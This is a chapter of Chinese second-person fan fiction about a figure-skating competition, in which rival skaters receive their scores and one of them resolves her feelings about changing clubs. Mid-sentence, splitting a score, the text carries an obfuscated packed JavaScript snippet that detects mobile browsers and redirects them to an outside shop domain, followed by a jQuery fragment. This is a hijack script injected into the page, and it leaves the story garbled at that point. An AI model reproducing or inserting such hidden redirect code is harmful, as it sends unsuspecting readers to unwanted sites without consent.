25
…
掌声与嗡嗡的交谈声如同潮水般涌来。
你滑向出口,微微喘息着,用毛巾擦拭着额角和颈间的汗水,然后弯腰套上冰刀套,迫不及待地看向等在那里的早川教练。
“怎么样!”你的声音里带着运动后的兴奋和期待。
“不错。”他的回答依旧简洁,听不出太多波澜。
“欸——只是不错吗!!”你立刻不满地抗议,凑近他,试图从他脸上找出更多赞许的痕迹。
“那你还想我怎么夸?”早川教练似乎有些好笑地看着你。
“起码也要笑一个吧!”你指着他的脸,“教练明明自己刚才都紧张了嘛!别以为我没看到!”
“…”早川教练一时语塞,得,他又一次败给了你这个观察力过于敏锐的学生。
就在这时,广播声响起:“一号选手,鹤山千,最终得分——”
“这次打分好快…”旁边有其他选手小声嘀咕。
“…毕竟全程0失误啊,技术分和艺术分都拉满了。”通道处传来其他人带着检讨意味的低语。
广播清晰地报出:“总得分,98.73分,暂列第一。”
…
观众席和选手等候区都出现了一瞬间的寂静,随即是更响的哗然。
“我没听错吧…”“木下杯…98分以上?这分数…”
惠美听着广播里的数字,先是怔住,随后嘴角扯出一个复杂的弧度,低低地笑了:“…哈…”她是第二组第三个上场,这个分数像一座突然拔地而起的高山,横亘在她面前。
而早川濑里奈是第二组第二个,她紧紧捏着自己外套的衣角,指节泛白。
转俱乐部吗?
去东京?
去那个有舅舅执教、更拥有鹤山千的神宫明治俱乐部?
这个念头再次不受控制地冒了出来。
她想要以对手的身份,堂堂正正地站在你的面前,想要更多地、更近地看看你究竟能到达怎样的高度。
这个想法,似乎需要耗费很多很多时间去权衡,去下定决心。
广播叫到了她的号码。
早川濑里奈深吸一口气,松开捏得发皱的衣角,脱下外套,露出里面的考斯滕。
她踏上了冰面,冰刀的寒意从脚底蔓延上来。
那就让她好好看看,这个目前看来似乎“一文不值”、无法撼动你地位的自己,究竟还拥有怎样的技能,能在这片冰面上,滑出怎样的轨迹。
…
《C'est Un Chapeau !》的旋律轻快地流淌开来。
濑里奈抬起手,随着音乐滑动,刀刃在冰面上划出流畅的弧线。
她跟随着歌词的节奏,脑海里却不由自主地飘向了一些久远的、几乎被她刻意遗忘的片段。
她为什么会学习滑冰呢?一开始是为了什么?
最初的最初,只是因为妈妈笑着说:“濑里奈,你看舅舅滑得多好看啊,他是奥运冠军哦,你是他的侄女,一定也有天赋的。”于是她就被带上了冰面,在无数个清晨和夜晚重复着枯燥的基础练习。
妈妈说她不是一文不值的,她是金牌得主的侄女,身上流着优秀的血液。她信了,也努力了。
可是,突然出现了一个人。
濑里奈脚下发力,起跳——2A接3T,落冰干净利落,衔接顺畅。
那个人那样的闪耀,像一团燃烧的、金色的火焰,毫无预兆地闯入她的视野。
她甚至还没来得及防备,那个人就转过身,浅灰蓝色的眼睛直视着她,带着一种理所当然的热切,问她:“要一起来东京吗?”
要吗?
要放弃现在的一切,去一个陌生的俱乐部,站在那个人的身边?
还是对面?
躬身转后是单跳3Lo,起跳进入角度干净利落,但落冰的瞬间,她感觉到刀刃的角度稍有偏差,周数似乎缺了一些。
心里立刻警铃大作。
缺周,执行分会扣,技术分会受影响。
脑海里开始疯狂运转,如何在接下来的动作中弥补这个失误,用更高的完成度去拉回一点分数。
可是…
可是她为什么一定要去东京?
为什么一定要成为你的同俱乐部的人?
音乐流淌,濑里奈进入捻转步,身体在冰面上快速旋转,刀刃划出密集的圆圈。
冰冷的风从耳边呼啸而过,吹动着她的发丝和裙摆。
在那高速旋转带来的眩晕中,她似乎找到了答案。
她想光明正大地站在你的面前。
不是因为“早川的侄女”这个标签,也不是因为转去了同一个俱乐部而获得的近距离。
那冰凉的感觉让她猛地清醒过来。
是了,这才是她真正想要的——不是成为谁的附属,不是站在谁的阴影里。
她想要的是,光明正大地,以一个独立而强大的对手的身份,站在你——这个人——的面前。
与你在同一个赛场上竞技,用自己的实力,让你的目光,真正地、长久地停留在自己身上。
完赛。
她稳稳地定格在冰面中央,喘息着,目光却异常明亮地望向选手区那个浅金色的身影。
…
“十四号选手,早川濑里奈,”
广播声响起,早川岐不自觉地微微收紧了垂在身侧的手,镜片后的目光紧盯着计分板,心里无声地默念着:高一点,再高一点吧。
作为舅舅,也作为旁观者,他清楚濑里奈为此付出的努力。
“最终得分,92.17。”
“…”
分数报出的瞬间,濑里奈一直屏住的呼吸似乎才重新接续上,能听到她细微的、带着失落与释然的呼气声。
这个分数不低,甚至可以说是相当出色,在以往的比赛中足以争夺奖牌。
但在那个耀眼的98.7
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634987|206532||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
3之后,它不可避免地显得有些黯淡。她低下头,默默滑向场边。
“十五号选手,山本惠美,”
惠美脸上带着一种混合了兴奋与战意的笑容站起身。
不愧是她看好的对手,你真的是,让人嫉妒你那仿佛与生俱来的光芒与才能,却又不由自主地想要靠近、想要挑战的家伙。
她深吸一口气,目光扫过等候区那个刚刚坐下、身影显得有些落寞的早川濑里奈。
那就让你看看,她这个曾经的手下败将,如今又能做到什么地步吧。
她踏上了冰场。
…
“十五号选手,山本惠美——”广播声再次响起,作为最后一组、也是整场比赛压轴出场的选手,吸引了全场的目光。
“总得分,93.17。排名第二。”
短暂的停顿后,最终名次开始播报:“接下来,播报最终名次。第一名,鹤山千,神宫明治俱乐部,总得分98.73。第二名,山本惠美,莲华茶俱乐部,总得分93.17。第三名,早川濑里奈,爱西Ride俱乐部,总得分92.17。第四名,熊本…”
名次尘埃落定。
早川濑里奈紧紧捏着自己考斯滕的衣角,指节因为用力而发白。
一分,只差一分…一股混杂着不甘和委屈的情绪涌上心头。
都怪这该死的生长痛!
膝盖和脚踝处隐隐传来的、熟悉的酸胀感提醒着她昨晚是如何在不适中辗转反侧,影响了休息,也多少干扰了今晚比赛时的状态和发力。
她不要长高了,她不想再长高了!
如果长高的代价是这样持续不断的疼痛,甚至影响到她最重要的比赛…
她用力揉了一下发酸的眼睛,试图把涌上来的湿意逼回去。
明明在比赛前,还对你说出了那样类似宣战的话…结果却…
“濑里奈!”
一个熟悉的声音响起。
她抬起头,看见你不知何时已经来到了她面前,脸上带着运动后的红晕和明亮的笑容。
“…我做到了哦!”你的语气里带着完成约定般的雀跃,眼睛亮晶晶地看着她。
“…我…”濑里奈张了张嘴,喉咙有些哽咽。
但在刚才独自滑行、思考,甚至在等待分数的那段时间里,她已经想明白了。
她不会去的,不会去东京,不会转入神宫明治。
正是因为你的存在,像一座突然出现的、需要仰望的高峰,才让她更清晰地看到了自己脚下的路,更坚定了要继续在这片冰面上滑下去的决心。
她要以自己的方式,以一个旁观者兼对手的视角,去见证你的变化与成长,同时也鞭策自己不断向前。
想到这里,她心底那份不甘和失落似乎被冲淡了些许。
她看着你那双充满活力的眼睛,努力扯出一个笑容,虽然还有些勉强,但眼神已经变得坚定,她用力地点了点头:
“…嗯!”